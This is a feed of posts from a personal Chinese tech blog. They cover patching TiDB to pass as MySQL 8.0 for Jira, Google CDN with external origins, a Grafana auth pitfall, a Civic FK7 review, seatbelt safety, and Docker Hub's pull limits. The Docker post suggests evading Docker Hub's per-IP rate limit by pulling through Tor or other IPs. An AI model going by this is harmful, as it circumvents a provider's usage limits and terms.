  2. 在 MySQL 5.7 模式下报 This MySQL instance is not properly configured. 因为 TiDB 没有 innodb_default_row_format 这个变量

Hack TiDB

通过上文源码的分析我们可以发现 Jira 在使用 MySQL 8.0 的时候对数据库的检查更少(此外,这里还有一个未展开的问题,Jira 会使用到名为 LEAD 的字段,使用 MySQL 5.7 模式会报错),所以我们决定使用 MySQL 8.0 模式来初始化 Jira。

Version

第一个问题就是 TiDB 的 Version ,我们希望 Jira 认为他是一个真正的 MySQL 8.0 ,所以需要让 TiDB “伪装"一下,通过查阅我们文档站 https://docs.pingcap.com/tidb/stable/tidb-configuration-file#server-version,可以发现有一个 server-version 的变量可以让 TiDB 的 Version 显示为一个不同的值,所以创建一个叫 8.0.toml 的文件,内容写一行:

server-version = "8.0.0-How-Ever-This-Is-TiDB-v5.0.1"

然后通过以下命令启动:

tiup playground v5.0.1 --host "0.0.0.0" --tiflash 0  --db.config ./8.0.toml

可以发现 TiDB 已经显示出了我们需要的版本:

~ # mysql -u root -h localhost -P4000
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 1367
Server version: 8.0.0-How-Ever-This-Is-TiDB-v5.0.1 TiDB Server (Apache License 2.0) Community Edition, MySQL 5.7 compatible

innodb_default_row_format

接下来就是 innodb_default_row_format 这个变量的问题了,通过上文我们也发现,使用 set @@global.innodb_default_row_format = "dynamic"; 是无效的,会返回:

ERROR 1193 (HY000): Unknown system variable 'innodb_default_row_format'

所以可以判断出 TiDB 没有对应的系统变量,既然没有变量,那我们就 Mock 一个上去,在 https://github.com/pingcap/tidb/blob/master/sessionctx/variable/sysvar.go#L503 中我们可以发现 TiDB 的系统变量的定义的位置:

var defaultSysVars = []*SysVar{
	{Scope: ScopeGlobal, Name: MaxConnections, Value: "151", Type: TypeUnsigned, MinValue: 1, MaxValue: 100000, AutoConvertOutOfRange: true},
  ...
}

同时还能发现对应的注释:

// ScopeNone means the system variable can not be changed dynamically.
ScopeNone ScopeFlag = 0
// ScopeGlobal means the system variable can be changed globally.
ScopeGlobal ScopeFlag = 1 << 0
// ScopeSession means the system variable can only be changed in current session.
ScopeSession ScopeFlag = 1 << 1

考虑到之前是使用的 v5.0.1 版本的 TiDB,所以就是:

git clone https://github.com/pingcap/tidb
git checkout v5.0.1

由于我不怎么会写代码,所以只能照葫芦画瓢在 var defaultSysVars = []*SysVar{ 底下糊上一行:

{Scope: ScopeNone, Name: "innodb_default_row_format", Value: "dynamic"},

加完这一行后 make,然后把 bin/tidb-server 替换到 /root/.tiup/components/tidb/v5.0.1/tidb-server 这个文件中,然后重新启动数据库。

然后就可以正常安装使用啦~

以上。

Reference

  1. Connecting Jira to MySQL 8.0
  2. TiDB Configuration File
]]>
关于家用车使用多点安全带的一点迷思https://nova.moe/some-thought-about-harness/Wed, 28 Apr 2021 23:43:03 +0800https://nova.moe/some-thought-about-harness/这会是一篇很短的文章,仅为个人对于家用车使用多点安全带的一点想法和思考,或许可以给一些有着和我类似想法的同学一些启发。

很早之前在听到有朋友遭遇不太严重交通事故锁骨被安全带勒到骨裂的事情后,便开始想对于我们传统乘用车上安全带的一些改进,最近正好有机会体验了一下 5 点安全带+桶椅带来的包裹感之后,便有了如下不成熟的想法:

要提升体验+安全性,直接买个桶椅,然后上 5 点安全带不就可以了么?上路的话三点安全带一起系上还不会被电子眼误判

就像: ATS-L改TAKATA四点式安全带 一文中说的:

平时开车可以用,如果是改装了竞技方向盘的朋友建议一定要用。但是三点式安全带还是要扣上,因为有些摄像头识别不出四点式,会误判你没有扣安全带,导致违章。

在赛道上,三点式安全带就可以彻底不用了,但是车子跑起来之后会报警,所以我居然找到了安全带插片的合理用法。

随便上网搜一下桶椅 + 多点安全带,看上去最低不到 3000 CNY 的价格可以给自己的车带来颜值,操控和安全的提升,何乐而不为呢?

三点安全带+桶椅

我一向信以为然,直到了解到了一个东西,叫做 —— Seatbelt submarining,简单来说就是在安全带未稳定固定你的身体的时候,在遭遇交通事故时可能会由于身体下潜而导致额外的非常严重的损伤,什么是安全带未稳定固定你的身体,见下图(也可以参考这个 YouTube 视频: RideTight Submarining Demonstration):

为什么可能会导致这种情况呢?我们可以来回忆一下我们市面上买到的桶椅一般是什么样子的?

对于这种大家能买到的桶椅,买回去之后如果继续使用三点式安全带一般是什么样子的呢?我们可以参考:进气升级 改不好比原厂还慢 中 05:39 的画面:

可以发现三点式安全带与座位平行的部分在这个时候被张紧在了椅子的外侧(而不是直接绑在人的身上),对于驾驶员来说是比较松的,在碰撞时可能会出现下潜的问题。此外,还有一个风险点,那就是原厂座椅上的侧气囊没有了。

所以,如果只是为了提升座椅包裹度的话,可以参考一下其他座椅侧边较厚的安全带位置是如何设计的,比如 AMG 的这个:

多点安全带+桶椅

当然这个时候如果你能接受「原厂座椅上的侧气囊没有」的风险,并且给自己加装了多(>3)点式安全带(可能还加上了防滚架),并感觉已经非常放心的话,可以想想汽车说明书上一句不太起眼的话:

在所有类型的碰撞中,安全带是最佳保护装置。气囊设计用于辅助安全带,而不是代替安全带。因此,即使车辆配有气囊,也要确保您和您的乘客始终正确系紧安全带。

气囊可以在发生正面碰撞的时候减少身体与车身碰撞所造成的伤害,对于多点安全带来说,驾驶员的身体是一直被牢牢绑在座位上,在发生正面碰撞的时候,唯一随着惯性向前移动的部分是头部,意味着这个时候驾驶员的颈椎会承受非常大的拉力,可能反而增加了受到严重伤害的概率。

这一点赛车上的解决方案是——HANS,「HANS系统是附着在座椅上的一个小型装置,随安全带固定在车手的肩部和胸部;, 面对高速撞击时,在安全带的保护下,车手的身体能被拉住固定在座椅上,但头部还是会猛地向前摆动,此时颈部将承受巨大的冲击力。而在佩戴HANS系统的情况下,滑绳将抑制住头部向前摆动的趋势,冲击力也将被从颈椎分散至胸部、躯干、肩膀等处。」,如下图左边所示:

而这一点在民用车上似乎可实践性不是很高…

如果在民用车上也用上完整的一套设备(包括头盔),在路上开车一来视线受阻,二来没法观察到各种盲区(比如 A 柱后方),三来长时间驾驶也非常不舒服。

总结

街头赛车没有奖杯,只有眼泪.

民用车和赛车的安全体系是两套完全不同的体系,对于民用车而言,靠的主要是:安全带,多个气囊来减少冲击带来的损伤,而在赛车上,主要依靠:桶椅(固定车手),Windows Net(防止翻滚时身体被甩出窗外),防滚架(减少翻滚时和被猛烈撞击时)车辆变形,多点安全带(固定车手),HANS(保护车手脖子),头盔,防火服构成。如果随意互相借用,可能会给驾驶员一种安全的错觉,实则引入了新的安全风险。

但是我们到底应该如何解决开头说的「锁骨被安全带勒到骨裂」这个问题呢?说实话,我还没有答案。

References

  1. RideTight Submarining Demonstration
  2. Seatbelt submarining injury and its prevention countermeasures: How a cantilever seat pan structure exacerbate submarining
]]>
让 Google CDN 使用 Custom Origin(NEG) —— 不再受限于 GCP 机器https://nova.moe/gcp-cdn-with-neg/Sat, 06 Mar 2021 19:08:06 +0800https://nova.moe/gcp-cdn-with-neg/在之前的文章——「让博客变得更快——Google Load Balancer 和 Google CDN 使用小记」中,为了使用到 Google CDN,我们必须使用到 Google Load Balancer + GCP 上的 Instance,大致结构如下:

这样互联网的流量便是:用户 -> Google CDN 边缘节点 -> Google Load Balancer -> GCP Instance -(Wireguard)-> 实际的后端应用

虽然 Google CDN 很快,但是在这样一个网络结构下我们需要单独配置 GCP Instance 上的转发和到实际应用服务器上的隧道,增加了维护成本和机器费用。

无独有偶,前两天在排查 CDN 上的一个请求超时问题的时候发现 GCP 文档上多了这么一篇文章 Internet network endpoint groups overview

A network endpoint group (NEG) defines a set of backend endpoints for a load balancer. An internet NEG is a backend that resides outside of Google Cloud.

You should do this when you want to serve content from an origin that is hosted outside of Google Cloud, and you want your external HTTP(S) load balancer to be the frontend.

那还有什么好说的,直接上呗!

Create GCP CDN with NEG

首先是根据文档 Setting up a load balancer with a custom origin,创建一个 Custom Origin,这里需要填写端口信息,类比 Cloudflare 的 Full SSL,如果希望 Google 回源的时候使用 SSL 的话,填写 443,类似下图(图中 123.34.44.11 指的是源站 IP):

在这种情况下,GCP CDN 不会对源站的 SSL 进行检查(类似 Cloudflare 的 Full SSL),所以源站可以使用自签 SSL,如果希望对源站 SSL 检查的话,可以填写一个 FQDN(注意,这里的 FQDN 必须是 Google DNS 可以解析的地址)。

Configure Origin

配置源站也非常简单,这里给个 Example:

server {
        listen 443 ssl http2;
        listen [::]:443 ssl http2;
        ssl_certificate /etc/nginx/ssl/ssl.pem;
        ssl_certificate_key /etc/nginx/ssl/ssl.key;
        server_name nova.moe;
        root /path/to/nova.moe;
        index index.html;

        add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload";

        if ($http_x_forwarded_proto = "http") {
            return 301 https://$host$request_uri;
        }
        absolute_redirect off;
}

Misc

Tuning

文章最初提到的超时问题表现情况如下:

  • 访客通过 CDN 访问一个地址,稳定在 60s 的时候返回 502
  • 后端服务器对应访问记录状态码 499

首先需要修改 Nginx 的 keepalive 时间(默认只有 75s),根据 External HTTP(S) Load Balancing overview 的建议,加入以下行:

keepalive_timeout 620s;

对于 499 的问题,加入如下后解决:

proxy_ignore_client_abort on

Speed/TTFB Compare

有了成功的尝试之后我们就可以对比一下这种模式的效果如何了,直接上对比图,其中从左到右分别是:

  1. Google CDN + GCP Instance(Osaka)
  2. Google CDN + NEG(Linode 东京 2)
  3. Cloudflare CDN + Vultr 日本

可以看到,在使用 NEG 的情况下,由于没有额外的 WG 隧道 + GCP 机器转发,TTFB 时间稳定减少了一些,且由于大部分流量在 Google 内网内,TTFB 时间均值远好于 Cloudflare 的直接源站反代回源方式。

回源策略

在之前的模式中,GCP 回源 IP 只有以下两个段:

  • 35.191.0.0/16
  • 130.211.0.0/22

在 NEG 的情况下,回源 IP 段是动态的,可以通过以下命令来获得:

dig TXT _cloud-eoips.googleusercontent.com | grep -Eo 'ip4:[^ ]+' | cut -d':' -f2

比如本文写作时得到的 IP 段是:

  • 34.96.0.0/20
  • 34.127.192.0/18

经过测试,在使用 NEG 的情况下,Google CDN 和 Cloudflare + Argo 回源策略类似,即尽量通过 Google 内网的优化线路回到源站(例如:荷兰访客 -> Google CDN 荷兰节点 -(尽量通过 Google 内网)-> 日本 GCP -> 日本源站),举例如下,这是两个 Nginx 源站服务器上的 Nginx 日志:

34.96.7.32 - - [05/Mar/2021:13:58:47 +0800] "HEAD / HTTP/1.1" 200 0 "https://nova.moe" "Mozilla/5.0+(compatible; UptimeRobot/2.0; http://www.uptimerobot.com/)"
34.96.5.143 - - [05/Mar/2021:14:00:01 +0800] "GET /feed/ HTTP/1.1" 200 304945 "https://nova.moe/feed/" "FreshRSS/1.17.0 (Linux; https://freshrss.org)"

分別 tracepath 结果如下(从 Linode 日本):

linode ~ # nali-tracepath 34.96.7.32
 1?: [LOCALHOST]                      pmtu 1500
 1:  139.162.65.3 [日本 东京都品川区 Linode 数据中心]                                          0.770ms 
 1:  139.162.65.3 [日本 东京都品川区 Linode 数据中心]                                          2.776ms 
 2:  139.162.64.14 [日本 东京都品川区 Linode 数据中心]                                         0.400ms 
 3:  72.14.196.114 [美国 加利福尼亚州圣克拉拉县山景市谷歌公司]                                         0.498ms 
 4:  108.170.242.144 [美国 加利福尼亚州圣克拉拉县山景市谷歌公司]                                       1.233ms 
 5:  209.85.242.235 [美国 加利福尼亚州圣克拉拉县山景市谷歌公司]                                        1.510ms 
 6:  ???                                                   3.663ms asymm  8 
 7:  ???                                                  89.380ms asymm  9 
 8:  209.85.250.4 [美国 加利福尼亚州圣克拉拉县山景市谷歌公司]                                        113.612ms asymm 10 
 9:  72.14.239.159 [美国 加利福尼亚州圣克拉拉县山景市谷歌公司]                                       129.022ms asymm 11 
10:  209.85.250.37 [美国 加利福尼亚州圣克拉拉县山景市谷歌公司]                                       132.117ms asymm 12 
11:  ???                                                 135.119ms asymm 13 
12:  216.239.40.171 [美国 加利福尼亚州圣克拉拉县山景市谷歌公司]                                      139.933ms 
13:  216.239.50.17 [美国 加利福尼亚州圣克拉拉县山景市谷歌公司]                                       133.778ms 
14:  no reply
15:  no reply
16:  no reply
17:  no reply
18:  no reply
19:  no reply
20:  no reply
21:  no reply
22:  no reply
23:  32.7.96.34 [美国].bc.googleusercontent.com                 133.120ms reached
     Resume: pmtu 1500 hops 23 back 24 
linode ~ # nali-tracepath 34.96.5.143
 1?: [LOCALHOST]                      pmtu 1500
 1:  139.162.65.2 [日本 东京都品川区 Linode 数据中心]                                          3.558ms 
 1:  139.162.65.2 [日本 东京都品川区 Linode 数据中心]                                          1.604ms 
 2:  139.162.64.30 [日本 东京都品川区 Linode 数据中心]                                         0.771ms 
 3:  72.14.196.114 [美国 加利福尼亚州圣克拉拉县山景市谷歌公司]                                         0.526ms 
 4:  108.170.242.176 [美国 加利福尼亚州圣克拉拉县山景市谷歌公司]                                       0.863ms 
 5:  no reply
 6:  no reply
 7:  209.85.246.133 [美国 加利福尼亚州圣克拉拉县山景市谷歌公司]                                       49.685ms asymm  9 
 8:  209.85.250.118 [美国 加利福尼亚州圣克拉拉县山景市谷歌公司]                                       48.992ms 
 9:  ???                                                  48.643ms 
10:  ???                                                  50.985ms 
11:  no reply
12:  no reply
13:  no reply
14:  no reply
15:  no reply
16:  143.5.96.34 [美国].bc.googleusercontent.com                 48.532ms reached
     Resume: pmtu 1500 hops 16 back 16 

刷 IP

如果你对你的创建 Load Balancer 的 IP 不满意(或者分配到了一个大陆 ping 不通的地址)的话,可以刷一些 IP 来看看有没有满意的,比如可以这样一瞬刷出来 20 个 IP(跑:

for num in {1..20};do  gcloud compute addresses create cdn-ip-$num --project=<Google Project Here> --global;done

不过最近 GCP CDN 到大陆看上去延迟也蛮高(换 IP 也一样),挺不爽的..

总结

这个应该是 2020 年年末才更新的功能,使用 NEG 可以减少一台机器的成本和额外维护转发的成本( 主要 GCP 上的机器真的是又贵又烂 ),简化了不少 DevOps 的 workflow。

搞了这么多,偶尔能看到一句:

可开心了~

References

  1. External HTTP(S) Load Balancing overview
  2. Setting up a load balancer with a custom origin
]]>
Grafana Basic Auth 趟坑小记https://nova.moe/grafana-basic-auth/Sat, 20 Feb 2021 09:47:08 +0800https://nova.moe/grafana-basic-auth/迁移 Grafana

本来其实是一个非常简单的需求,我需要把自己一个很早以前手动用包管理器安装的 Grafana/InfluxDB 套件迁移到另一个主机上,并且改为纯 Docker 部署并且重新制作面板(丢掉之前的数据),因为不需要考虑之前的数据了,所以迁移流程非常简单,先做一个简单的 docker-compose.yml 文件,内容大概如下:

version: "3"
services:

  influxdb:
    image: influxdb
    container_name: influxdb
    ports:
      - "192.168.1.3:8086:8086"
    restart: always
    volumes:
      - ./data/influxdb:/var/lib/influxdb

  grafana:
    image: grafana/grafana
    container_name: grafana
    ports:
      - "127.0.0.1:3000:3000"
    restart: always
    volumes:
      - ./data/grafana:/var/lib/grafana
    environment:
      - GF_SERVER_DOMAIN=internal.yyyy.xxx
      - GF_AUTH_DISABLE_LOGIN_FORM=false
      - GF_SERVER_ROOT_URL=https://internal.yyyy.xxx/grafana/
      - GF_SERVER_SERVE_FROM_SUB_PATH=true

关于底下的 environment ,可以参考 Configuration | Grafana Labs,简单来说就是,如果配置中是:

# default section
instance_name = ${HOSTNAME}

[security]
admin_user = admin

[auth.google]
client_secret = 0ldS3cretKey

[plugin.grafana-image-renderer]
rendering_ignore_https_errors = true

那么对应到环境变量上就是:

GF_DEFAULT_INSTANCE_NAME=my-instance
GF_SECURITY_ADMIN_USER=owner
GF_AUTH_GOOGLE_CLIENT_SECRET=newS3cretKey
GF_PLUGIN_GRAFANA_IMAGE_RENDERER_RENDERING_IGNORE_HTTPS_ERRORS=true

启动好容器之后就是一点 Nginx 的配置,大概是这样的:

server {
    listen 443 ssl http2;
    listen [::]:443 ssl http2;
    ssl_certificate /path/to/ssl.pem;
    ssl_certificate_key /path/to/ssl.key;
    server_name internal.yyy.xxx;

    # 这里有个其他的服务,服务没有登录功能,需要用 Nginx 的 Basic Auth 保护一下
    location /service-a {
      auth_basic "Restricted Content";
      auth_basic_user_file /etc/nginx/htpasswd;
      proxy_pass http://192.168.1.7:8888;
    }

    location /grafana/ {
      proxy_pass http://localhost:3000/;
    }

}

看上去没有任何问题,然后访问一下 URL,就会看到:"invalid username or password"

啊这?我这还没输入密码呢?!

在继续前,大伙可以停下来,先根据上面的配置信息想想可能是哪儿出了问题.

Grafana 的验证方式

在看了一个看上去和我情况相似的 Issue 之后发现,在 User Authentication Overview,中,Grafana 支持多种验证方式,最常见的就是简单的用户名密码的方式,此外还有 SAML,LDAP 啥的:

但是如果足够细心往下看,就会发现有个叫 Basic authentication 的小节,内部是这样说明的:

Basic auth is enabled by default and works with the built in Grafana user password authentication system and LDAP authentication integration.

To disable basic auth:

[auth.basic]
enabled = false

这个时候问题就已经比较明了了,由于这个 internal.yyyy.xxx 还反代了一个其他服务,也就是上文中的:

location /service-a {
  auth_basic "Restricted Content";
  auth_basic_user_file /etc/nginx/htpasswd;
  proxy_pass http://192.168.1.7:8888;
}

正好我的浏览器之前有登录过那个服务,浏览器便给整个 internal.yyyy.xxx 域名的访问都加上了针对那个服务的 Authorization: Basic xxxxxxx 的 Header,正好 Nginx 把这个 Header 也传给了 Grafana,加上 Grafana 优先通过这个 Header 来验证用户,就有了上面那一出 "invalid username or password" 的问题了。

然后解决方法也比较明了了,只需要在 docker-compose.yml 的 Grafana 下环境变量中加入一条:

- GF_AUTH_BASIC_ENABLED=false

这样 Grafana 就不会关注那个不是给他看的 Header 了。

为这么个问题折腾了这么久,主要原因还是因为他(我)们(没)文(看)档(文)没(档)有写好,不应该不应该,记录此文,希望可以帮到其他可能在这里踩坑的同学。

References

  1. Grafana with htpasswd #8314
  2. User Authentication Overview
  3. Configuration | Grafana Labs
]]>
Civic FK7 MT(两厢思域手动挡版本)简评和部分图片分享https://nova.moe/civic-fk7-mt/Thu, 11 Feb 2021 20:47:43 +0800https://nova.moe/civic-fk7-mt/

2021/10/21 更新部分改件信息,见文末

你不能老是白嫖我的车开吧,网上很少有 MT 的评测,我看你又比较喜欢写这种文章,写一篇呗?

应好友的邀请,简要评价一下这辆陆陆续续借来开了好几百公里的 MT 版本的 FK7,这是一辆我个人比较关注的车,正好前段时间有朋友买到了它(甚至还是手动挡版本的),于是就经常性地借来开。

为什么关注这辆车?大概因为这个是国内能以比较低的价格买到的最像 Civic Type-R(FK8) 的车了。

FK8 长这样:

FK7 长这样:

一言蔽之,远观效果只能说(除了没有尾翼以外)比较像,但是一旦走近了,就会发现:

  • 没有宽体
  • 前进气格栅样式不一样
  • 没有标配的 20 英寸轮毂
  • 没有 Brembo 卡钳
  • 包围上面没有红色线条
  • 刹车盘不是打孔的

只要开起来就会发现:

  • 没有 LSD
  • L15B8 发动机动力远远不如 K20C(废话)

我们还是分类来评这辆车吧~

FK7 外观

如上文所说,这个虽然是国内可以以一个比较低的价格买到的最像 Type-R 的车,但是其实和 Type-R(FK8) 之间还是有很多区别的,这里我仅分享一些拍的照片:

发动机/变速箱

由于这是一辆手动挡的车,发动机和变速箱与三厢思域是同款,除了排档头换成了一个和 Civic Si 很像的排档头,收获了很多 Civic 粉丝的青睐(和钱)。

关于排档头的尺寸的话,正好手上有个罗技的 G29 自带的换档头,拿到车上对比一下,发现几乎大小是一致的(当然换档手感非常不一致,FK7 换档感觉比较涩,不像 G29 或者某些大众的车型那样顺滑)

关于变速箱,在「思域五门两厢版用户手册.pdf」中,我们可以发现,即使是 CVT 变速箱,也有「级别」的说法,但是在互联网上并未找到相关的说明和解释,这个很奇妙。

手排的三踏板

如果问一个人为什么要买手排车,除了穷以外可能就是手排车可以带来许多自动档没法带来的乐趣,比如…降档补油。

要搞这些操作就需要三个踏板分布在一个比较合理的距离和高度上,这里我补充一个图:

从实际体验来说就是:

离合器比较轻,行程(相比较大众的车型来说)挺短,结合点比较低(意味着不需要抬起来很高即到达半联动点),油门(相比较大众的车型来说)比较高和宽,降档补油比较容易掌握,但是如果要跟趾的话,比较困难(刹车不是很线性,且刹车和油门踏板之间还是有一个高度差,脚跟踩油门的时候需要控制好脚尖的力度,不然容易顿挫一下)。

而且还有一个比较有意思的点,这台车的发动机似乎会在换档的间隙有一个转速悬停的操作,例如在 2 升 3 档的时候,如果 2 档 4000 RPM 升到 3 档的话,转速会悬停在 4000 RPM 一段时间,如果换档(抬离合)过快的话,会感受到一个明显的顿挫,不知道是不是所有的手排车都有这个问题还是只是思域这样,所以如果要平稳驾驶的话需要慢抬离合(为同事诟病)。

Carplay

根据观察法,FK7 从 MT 以上(也就是 MT 和顶配 CVT)的车机是自带 Carplay 的,但是默认却是被关闭的状态(有一个 Honda Connect 在),但是只要稍微自己动手(拆车机并替换一根线,一个小时内就可以自己搞定,线的价格不超过 40 CNY),便可将车辆自带的 Carplay 给搞出来,可以参考这个视频:十代思域FK7开启原厂carplay功能教学_哔哩哔哩 (゜-゜)つロ 干杯~-bilibili

有了 Carplay 之后车机就是这个样子的:

并且高德地图导航也可以直接显示在车机上,再也不是手机蓝牙连接车机然后只能听语音了。

动力

1.5T 的 L18B8,峰值才 226 Nm,只能说比之前开过的车动力好一些,没有跑过 0-100,但是感觉也不是非常快(

且由于是涡轮增压车型,涡轮起压点前后动力差距蛮大,从个人驾驶的角度来看,只有大脚给油涡轮才会很快起压,但是很快我们会遇到一个问题,如下。

轮胎

思域标配的轮胎是 Yokohama ADVAN dB 215/50/R17 91V 的「静音胎」,所以几乎意味着只要是全油门起步,在一档和二档之间轮胎没有不滑的,如果地面还有些湿的话在 2,3 档之间也会打滑。

具体来说是一种什么感觉呢,举个真实的例子,在一个雨后的新修沥青路面上,320i 和 FK7 在同一车道上一前一后同时起步,一档从 2000 RPM 开始轮胎便开始打滑,滑到 4000 RPM 升档,二档继续打滑,此时靠近 320i 需要变道超车,然后在变道的时候车还在滑,被迫松油,很快就会被拉开差距。

——这破车连 320i 都追不上…(字面意思)

所以感觉 FK7 从刚刚买来开始就应该改一套轮胎,根据轮胎计算器得出的数据,看上去如果改 18 英寸轮毂的话上 225/40/R18 或者不改轮毂的话(默认轮毂 7J,最大支持只能支持到 225)选择 225/50/R17 PS4 是一个好的选择。

嗷,改轮毂尺寸是违法的,还是直接换 17 英寸的 PS4 吧(

如果你想试试看 Cup 2 的话,原厂刹车可以给你这样的体验:

如果你不考虑合法街道驾驶(比如只用来跑赛道的话),谢欣哲这里有 FK7 MT 的几乎全套的改装视频: 思域计划

辅助驾驶

从 MT 开始的车型会带有一个据说是 L2 的辅助驾驶,具体到使用体验而言呢,就是:

  • 快速贴近一辆车会有报警和提示
  • 速度大于 70 KPH 的时候可以自动识别车道线并保持(但是会在车道内左右飘,不会稳定在车道中央)
  • ACC 自适应定速巡航(但是速度低于 40 KPH 会断开),不过这个 ACC 感觉不是很顺滑,会一直贴着前车到设定距离然后来个比较猛的刹车

储物空间

由于是 Hatchback 车型, 后备箱开口非常的大

据说能拉洗衣机,未验证,不过如果偶尔出去玩想吃点东西又不想弄脏车里面的话,可以把后备箱打开然后盘腿坐在后备箱内吃(

车内体验

在之前的文章「那些年我开过的车(们)」中,我有提到:

除了一些特定车型以外,发现一个比较有意思的点,国产车基本都是又大又长,乘坐的时候视野比较高比较大

对于思域来说,如果驾驶座放到最低的话,我实际看到的视野大概如下:

说实话,虽然网上很多人说这个车坐姿低,但是我感觉还是它是属于「乘坐的时候视野比较高比较大」的类型,至少和 320i 或者小鹏 P7 这类车坐起来仿佛被包裹在车内的体验完全不同。

一些细节

  • 所谓的「氛围灯」只是一个从天窗开关附近可以照到档杆的一个红色小 LED 灯
  • 给油加速的时候会同时听到「滋滋滋滋」的声音,不知道为啥
  • 后视镜不会自动折叠
  • 后排没有空调出风口
  • 如果熄火了踩离合就会自动重新点火
  • 隔音效果还是一般(类似外环高速的右侧两车道的烂路即使是标配的静音胎也有很大的胎噪)
  • 150 KM/H 速度,6 档的时候差不多是 3500RPM,但是即使油门到底感觉也没啥明显的动力了

嗯,以上。

改件

已经全部移动到 Nova Kwok 的 FK7 改车笔记 ,请移步参观。

]]>
绕过从 Docker Hub pull 镜像时的 429 toomanyrequestshttps://nova.moe/bypass-docker-hub-429/Sun, 22 Nov 2020 13:40:37 +0800https://nova.moe/bypass-docker-hub-429/很早很早以前,我们都使用裸机部署应用,部署应用无非以下几步:

  1. 安装操作系统
  2. 安装运行环境(PHP,NodeJS,Ruby, etc)
  3. 安装/复制程序
  4. 尝试运行程序
  5. 报错,修环境问题
  6. 继续报错,修开发人员
  7. 开发人员提交一个很脏的 Hack,应用终于跑起来了

直到容器化的出现,开发和运维开发将整个程序和运行环境放在一个个 Docker Image 和 docker-compose.yml 中,启动一个程序已经慢慢缩减成了一行 docker run 或者 docker-compose up -d,绿色无害,迁移方便,使用起来让人上瘾,想不断地使用 Docker,并不断将 Docker 融入自己的 Workflow 中,然而,Docker 用的多了,就会看到以下情况:

Error response from daemon: toomanyrequests: You have reached your pull rate limit. You may increase the limit by authenticating and upgrading: https://www.docker.com/increase-rate-limit

打开这个页面,你就会知道,从 2020-11-02 开始,官方的 Docker Hub 开始对 pull 请求加上了限制,限制为匿名用户(未登录),每 6 小时只能拉 100 image,登录的免费用户每 6 小时拉 200 镜像:

The rate limits of 100 container image requests per six hours for anonymous usage, and 200 container image requests per six hours for free Docker accounts are now in effect.

对于登录而言,限制的是用户,对于未登录的用户而言,限制的是 IP。

Docker 要怡烂钱我可以理解, 但是 docker hub 上面 ubuntu:latest 这样的基础镜像都给我整一个 rate-limit 我是真的没想到。 不知道今天起有多少人的 CI/CD 会因为这个挂掉。

——https://twitter.com/IceCode8964XI/status/1328395263606628352

这怎么行?

Docker pull 背后的原理

由于限制的是 pull 请求,为了摆脱这种限制,我们首先得了解 docker pull 背后到底做了啥,然后推测限制的位置并绕过。

Docker Hub 的地址

我们虽然日常访问的是 https://hub.docker.com ,但是我们在 https://github.com/docker/distribution/blob/master/reference/normalize.go#L13 中可以看到实际 docker 使用的地址是一个硬编码的 docker.io

var (
	legacyDefaultDomain = "index.docker.io"
	defaultDomain       = "docker.io"
	officialRepoName    = "library"
	defaultTag          = "latest"
)

pull 的流程

在 Docker 的 API 文档: https://docs.docker.com/registry/spec/api/#pulling-an-image 中,我们知道:

An “image” is a combination of a JSON manifest and individual layer files. The process of pulling an image centers around retrieving these two components.

一个 docker pull 指令会从拉两部分,一部分是 manifest,一部分是 layer,前者指定了一个 image 相关的信息和 layer 的信息(一个 JSON 文件),后者就是一些大文件(layer),从我们内部统计的情况来看,后者普遍使用的是 https://production.cloudflare.docker.com/,这部分应该是不会受到限制的,所以猜测限制的地方是前者 manifest 的部分的请求,从文档 https://docs.docker.com/docker-hub/download-rate-limit/ 中我们也可以知道:

A pull request is defined as up to two GET requests on registry manifest URLs (/v2//manifests/).

故而证实了我们猜测,Docker Hub 是在拉 manifest 的过程中进行限制的。

那么 manifest 是从哪儿拉的?

manifest 地址

由于没有地方记录了 docker pull 的时候到底是从哪儿拉的地址,需要 MITM 一下:

Flows
   GET https://registry-1.docker.io/v2/
       ← 401 application/json 87b 213ms
   GET https://auth.docker.io/token?account=youraccount&scope=repository%3Alibrary%2Fal
       pine%3Apull&service=registry.docker.io
       ← 200 application/json 4.18k 245ms
>> GET https://registry-1.docker.io/v2/library/alpine/manifests/latest
       ← 200 application/vnd.docker.distribution.manifest.list.v2+json 1.6k 294ms
   GET https://registry-1.docker.io/v2/library/alpine/manifests/sha256:57334c50959f26ce
       1ee025d08f136c2292c128f84e7b229d1b0da5dac89e9866
       ← 200 application/vnd.docker.distribution.manifest.v2+json 528b 326ms
   GET https://registry-1.docker.io/v2/library/alpine/blobs/sha256:b7b28af77ffec6054d13
       378df4fdf02725830086c7444d9c278af25312aa39b9
       ← 307 text/html 242b 288ms
   GET https://registry-1.docker.io/v2/library/alpine/blobs/sha256:0503825856099e6adb39
       c8297af09547f69684b7016b7f3680ed801aa310baaa
       ← 307 text/html 242b 322ms
   GET https://production.cloudflare.docker.com/registry-v2/docker/registry/v2/blobs/sh
       a256/b7/b7b28af77ffec6054d13378df4fdf02725830086c7444d9c278af25312aa39b9/data?…
       ← 200 application/octet-stream 1.48k 191ms
   GET https://production.cloudflare.docker.com/registry-v2/docker/registry/v2/blobs/sh
       a256/05/0503825856099e6adb39c8297af09547f69684b7016b7f3680ed801aa310baaa/data?…
       ← 200 application/octet-stream 2.66m 207ms
⇩  [27/32]                                                                     [*:8080]

我们会发现 https://registry-1.docker.io/v2/ 这个地址,通过手动改 Host + 调路由的方式并重新 pull 发现可以成功之后得到了验证。

接下来就是给这个地址设置用不同的 IP 来请求这个地址即可绕开限制,比如..用 Tor。

后记

刷 Docker Hub 流量固然很快乐,但是我们的主要目的还是保护内部 CI 不挂,且提升 pull 的速度,所以这个时候配置一个 pull-through cache 才是一个比较合理的解决方式,嗷对了,如果你和我一样使用了自己的 cache 的话,记得改外部 DNS 设置,而不是容器内的 /etc/hosts ,不然容器内的程序还是会通过 Host 的 DNS 去查询 registry-1.docker.io 的 IP 并直连,让你继续看到 toomanyrequests。

References

  1. Get manifest of a public Docker image hosted on Docker Hub using the Docker Registry API
]]>
可视化你的 GitHub 仓库数据,发掘更多的细节——GitHub Insightshttps://nova.moe/introduce-github-insight/Thu, 05 Nov 2020 21:18:03 +0800https://nova.moe/introduce-github-insight/GitHub 用的久了,偶尔看到一些爆款仓库(Star 数量非常多)总会有一些想要对其中数据进行分析的冲动,最早一次是在 996ICU 仓库发布的时候进行的一个小小的分析(相关博文:对 996.icu 仓库 Stargazers 的一些小的分析),当时在完成了那个仓库的分析之后便感觉——这种分析的操作应该是通用的,我们应该需要有能力可以对任意 GitHub Stargazer 进行一些分析,然而由于各种原因没有成功完成,在看到 timquan 的 timqian/star-history 之后,不禁感慨,大家手速都好快呀(跑~

Stargazer Register Times

